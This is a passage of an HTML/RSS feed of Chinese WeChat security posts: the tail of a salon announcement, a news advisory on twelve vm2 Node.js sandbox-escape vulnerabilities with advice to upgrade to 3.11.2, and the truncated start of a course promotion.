0px 24px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">5月14日（沙龙活动前一天）钉钉群将内发布一道CTF题，仅限报名北京场先知安全沙龙的高校学生参与，成功获取flag将获得礼品一份，欢迎同学们进群挑战！</span></span></p><p style="margin: 0px 0px 24px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">5</span></span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;font-family: mp-quote, &#34;PingFang SC&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">月15日，</span></span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;font-family: mp-quote, &#34;PingFang SC&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.034em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">我们北京见～</span></span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 16px;text-align: center;line-height: 1.75em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;" data-pm-slice="0 0 []"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(255, 104, 39);font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">转发抽奖</span></strong></span></p><p style="margin: 0px 0px 8px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 16px;text-align: center;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin-top: 0px;margin-right: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="margin-top: 0px;margin-right: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">关注 <span textstyle="" style="font-weight: bold;">阿里安全响应中心</span> 公众号</span></span></p><p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="阿里安全响应中心" data-alias="alisrc" data-from="0" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/tCS9QJPdcGc4qyoL5yEDEwCA3qymRyXXXWS4kTrduhg01ASfv6cwXQU0e1Td0XuJ63HMLCUrYDhaBchiawDpRxg/0?wx_fmt=png" data-signature="阿里巴巴安全应急响应中心官方微信公众号" data-id="MzIxMjEwNTc4NA==" data-is_biz_ban="0" data-service_type="1" data-verify_status="0"></mp-common-profile></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 16px;text-align: center;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">公开转发本文至朋友圈即可参与抽奖</span><a class="weapp_image_link js_weapp_entry" data-miniprogram-type="image" style="" data-miniprogram-appid="wx01bb1ef166cd3f4e" data-miniprogram-path="/pages/lucky/lottery/detail?id=8SVGYnALxCo" data-miniprogram-nickname="抽奖助手" data-miniprogram-servicetype="0" data-miniprogram-applink="" data-miniprogram-imageurl="https://mmbiz.qpic.cn/sz_mmbiz_jpg/fZTVP3UbI7RibsYibvKsFgH015hez5eANIrFPkicbyN6NwYFSLIB8JyHwc1VhlwJnJoag8alybPrD1gsy83p9OWlPFCnoNkB2hnYyPe3xZjxnc/640?wx_fmt=jpeg#imgIndex=2"><img data-aistatus="1" class="rich_pages wxw-img js_img_placeholder wx_img_placeholder" data-ratio="0.8" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=5108df4a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfZTVP3UbI7RibsYibvKsFgH015hez5eANIrFPkicbyN6NwYFSLIB8JyHwc1VhlwJnJoag8alybPrD1gsy83p9OWlPFCnoNkB2hnYyPe3xZjxnc%2F640%3Fwx_fmt%3Djpeg%23imgIndex%3D2"/></a></span></p><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=0ffe5139&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMjM5NTc2MDYxMw%3D%3D%26mid%3D2458614619%26idx%3D2%26sn%3D2e411e269dcfb8034fe7114819953acf">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 07 May 2026 18:06:00 +0800</pubDate>
    </item>
    <item>
      <title>攻击者可执行任意代码！vm2 沙箱库曝12连杀漏洞</title>
      <link>https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458614619&amp;idx=3&amp;sn=3c6bd50dafd56f3e109a00efc03687b1</link>
      <description>所有旧版均受影响，速升 3.11.2 堵死逃逸通道。</description>
      <content:encoded><![CDATA[<p><span>看雪学苑</span> <span>2026-05-07 18:06</span> <span style="display: inline-block;">上海</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=bd5f3fcd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K1PrKdbAibBtWX6IjLJE1lNibLbvRPK06Ff0XmZbI6ibMtOM6340COE6uC7070Ftlk8Agae2NvhiajETH2Ffwsm3h8FbcLGIDKjsCk%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>所有旧版均受影响，速升 3.11.2 堵死逃逸通道。</p>
  <div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);"><div style="box-sizing: border-box;" data-mpa-action-id="mov7cp4l5ik" data-pm-slice="0 0 []"><p style="text-align: left;margin-left: 8px;margin-right: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mov7cp3n13xe"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">近日，广泛使用的 Node.js 沙箱环境库 vm2 被安全研究人员接连揪出 12 个严重漏洞，编号从 CVE-2026-24118 到 CVE-2026-44009，绝大多数评分高达 9.8 甚至满分 10.0。这些漏洞的共同后果极为危险：攻击者能够突破沙箱限制，在宿主机上执行任意代码，相当于完全接管服务器。</span></span></p><p style="text-align: left;margin-left: 8px;margin-right: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mov7cp3ok2"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">vm2 的设计初衷，是让开发者安全地运行不受信任的 JavaScript 代码，通过拦截和代理对象来隔离沙箱内外。但这一系列新漏洞表明，想彻底锁死逃逸路径远比预想的困难。其中有几个漏洞的利用手法相当“精巧”——有的借助 </span><span textstyle="" style="letter-spacing: 1px;color: rgb(136, 136, 136);font-style: italic;">__lookupGetter__</span><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">，有的滥用 Promise 对象的 </span><span textstyle="" style="letter-spacing: 1px;color: rgb(136, 136, 136);font-style: italic;">species </span><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">属性，有的通过 </span><span textstyle="" style="letter-spacing: 1px;color: rgb(136, 136, 136);font-style: italic;">inspect</span><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);"> 函数或 </span><span textstyle="" style="letter-spacing: 1px;color: rgb(136, 136, 136);font-style: italic;">SuppressedError</span><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">，还有的利用符号到字符串强制转换触发的 TypeError 绕过保护。更严重的是，部分漏洞甚至能直接获取宿主的 Object 对象，或者让本应被屏蔽的 </span><span textstyle="" style="letter-spacing: 1px;color: rgb(136, 136, 136);font-style: italic;">child_process</span><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);"> 等模块重新可用，进而执行系统命令。</span></span></p><p style="text-align: left;margin-left: 8px;margin-right: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mov7cp3od1v"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">最受关注的满分漏洞 CVE-2026-43997 与 CVE-2026-44005，分别实现了代码注入和原型污染，让沙箱防护形同虚设。而 CVE-2026-44007 虽是稍低一些的 9.1 分，却能让攻击者在宿主机上执行任意操作系统命令。这些漏洞的覆盖范围极广，从 3.9.6 版本一路影响到最新补丁前的 3.11.1。</span></span></p><p style="text-align: left;margin-left: 8px;margin-right: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mov7cp3oq0c"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">维护者 Patrik Šimek 在此前已紧急修复过一个关键逃逸漏洞 CVE-2026-22709，但显然新的绕过方法很快就又被挖掘出来。Šimek 也曾坦言，未来很可能还会发现更多逃逸手法。事实上，此次披露的漏洞中就不乏针对旧补丁的“补丁绕过”，例如 CVE-2026-24120 就是 CVE-2023-37466 的变种。</span></span></p><p style="text-align: left;margin-left: 8px;margin-right: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mov7cp3ola9"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">目前，所有已公布的漏洞均已修复。按照影响版本与修复版本的对应关系，用户只要将 vm2 升级至最新的 3.11.2 版本，即可一次性堵住全部 12 个漏洞的利用路径。对于仍依赖沙箱执行不可信代码的生产环境而言，延迟更新无异于将服务器大门向攻击者敞开。</span></span></p><p style="text-align: left;margin-left: 8px;margin-right: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mov7cp3o14x8"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">受影响版本与修复版本速览：</span></span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p style="text-align: left;margin-left: 8px;margin-right: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mov7cp3ozab"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">低于 3.10.5 的版本：需应对 CVE-2026-24120、CVE-2026-24781、CVE-2026-26956 等  </span></span></p></li><li><p style="text-align: left;margin-left: 8px;margin-right: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mov7cp3o1ub2"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">3.10.5 及以下：面临 CVE-2026-43997、CVE-2026-43999、CVE-2026-44005、CVE-2026-44006 等满分/高分漏洞  </span></span></p></li><li><p style="text-align: left;margin-left: 8px;margin-right: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mov7cp3oqpb"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">3.11.0 及 3.11.1：需立即升级至 3.11.2，修复 CVE-2026-44007、CVE-2026-44008、CVE-2026-44009</span></span></p></li></ul><p style="text-align: left;margin-left: 8px;margin-right: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mov7cp3os43"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">面对沙箱逃逸层出不穷的现状，安全专家建议除了保持库版本最新外，还应尽量在额外的系统级隔离环境中运行不受信任的代码，切勿仅依赖单一沙箱作为安全边界。</span></span></p><p style="text-align: left;margin-left: 8px;margin-right: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mov7cp3o1m86"><span textstyle="" style="letter-spacing: normal;color: rgb(136, 136, 136);font-style: italic;">资讯来源：综合 The Hacker News 等外媒报道及 vm2 官方更新日志</span></span></p></div><div style="line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.46875" data-s="300,640" data-type="jpeg" data-w="640" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130705" src="https://wechat2rss.xlab.app/img-proxy/?k=dd84b8b9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K2yeYuicfSJ0YzHbLfKM2ZdmdAm7OuWDgARjZoPeicDEn9sKx8fzXnOspQ9FIPfrNlAciboxVMyaGV5eFibPexElNKKUjjUOFIc9KA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 20%;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777429467085" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130710" src="https://wechat2rss.xlab.app/img-proxy/?k=828ae079&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCpo2XCpI7K207SIxRVFquDvGOAtJP99KzCHOaBVRdLB6Yadiah5ZuqESEwnOic7vibrGSUkqpmt3vSGg9o6p3wOjIM64EosAtOhmAJ4QRszicjU%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="font-size: 12px;text-align: justify;box-sizing: border-box;"><p style="text-align: center;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球分享</span></strong></p></div></div><div style="display: inline-block;vertical-align: top;width: 80%;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: right;justify-content: flex-end;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 23%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777429467085" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130713" src="https://wechat2rss.xlab.app/img-proxy/?k=0438c796&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCpo2XCpI7K3BBDG2cPJ4Rh69RxSNzkJp0gLLacr1AcictVxGwxh4MHdqnc5Ifmfj1m1fLN3DoB1BDkicgJCb29ibQ5OFpL2BJhKnXpzmeCzfick%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="margin: 3px 0% 0px;box-sizing: border-box;"><div style="font-size: 12px;text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球点赞</span></strong></p></div></div></div><div style="display: inline-block;vertical-align: top;width: 23%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777429467085" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130712" src="https://wechat2rss.xlab.app/img-proxy/?k=5236626c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FCpo2XCpI7K3peRh1Y2TpCXJFC9dPaRpGVibraThaRXEKWv60XOjDRL53Vnpd2ASeS8QOG3ASj4SWq18J8rBktMwwJda9roxSbebzwCpJGGDw%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="margin: 3px 0% 0px;box-sizing: border-box;"><div style="font-size: 12px;text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球在看</span></strong></p></div></div></div></div></div></div><div style="box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 10%;box-sizing: border-box;"><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.696" data-s="300,640" data-type="gif" data-w="500" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130714" src="https://wechat2rss.xlab.app/img-proxy/?k=b97c50d3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FCpo2XCpI7K0z6cTxRLBDlvcG98Nom0otuL1bGAhQsY3icCiag3b8GQE5kPBENWf1SI2LqcDCdXniaJiavtvkG02oiam78NSV8GDdxMXKRHBeScLU%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div><div style="display: inline-block;vertical-align: top;width: 90%;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 10px 0% 0px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;"><span leaf="">点击阅读原文查看更多</span></span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>


<p><a href="https://www.kanxue.com/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6939c00e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMjM5NTc2MDYxMw%3D%3D%26mid%3D2458614619%26idx%3D3%26sn%3D3c6bd50dafd56f3e109a00efc03687b1">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 07 May 2026 18:06:00 +0800</pubDate>
    </item>
    <item>
      <title>速学！今日同步更新2门课程</title>
      <link>https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458614619&amp;idx=4&amp;sn=298a2fdc8ed17b65e5944cda2cc1fd95</link>
      <description></description>
      <content:encoded><![CDATA[<p><span>看雪课程</span> <span>2026-05-07 18:06</span> <span style="display: inline-block;">上海</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=7b19cc03&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K3wb9G8CLyY0X74CDVaEouNW3CBib5njvRiaLU2Jxcwv9ovQQKNUYfia6RW6ZmBmznYTj5a7hoJDJIc98pI9wLnv0ptl6w3n1QtzE%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);"><div style="margin: -24px 0% 10px;text-align: left;box-sizing: border-box;"><div style="display: inline-block;border: 2px solid rgba(255, 255, 255, 0);padding: 0.1em 0.3em;background-color: rgb(44, 74, 242);color: rgb(255, 255, 255);line-height: 1.8;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">《基于CVD的云手机定制与风控分析》</span></p></div></div><div style="line-height: 1.8;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-weight: normal;">2.12 集成GMS</span></span></p><p><span leaf=""><span textstyle="" style="letter-spacing: normal;font-weight: normal;"><a href="https://www.kanxue.com/book-135-6050.htm" target="_blank">https://www.kanxue.com/book-135-6050.htm</a></span></span></p><p><span leaf=""><span textstyle="" style="font-weight: normal;">4.4 apatch</span></span></p><p><span leaf=""><span textstyle="" style="letter-spacing: normal;font-weight: normal;"><a href="https://www.kanxue.com/book-135-6040.htm" target="_blank">https://www.kanxue.com/book-135-6040.htm</a></span></span></p><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><div style="display: flex;width: 100%;flex-flow: column;box-sizing: border-box;"><div style="z-index: 1;box-sizing: border-box;"><div style="margin: 0px;box-sizing: border-box;"><div style="font-size: 16px;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><b style="box-sizing: border-box;"><span leaf="">报名入口</span></b></p></div></div></div></div></div></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: 40%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-image: linear-gradient(110deg, rgb(44, 74, 242) 0%, rgb(155, 90, 237) 100%);padding: 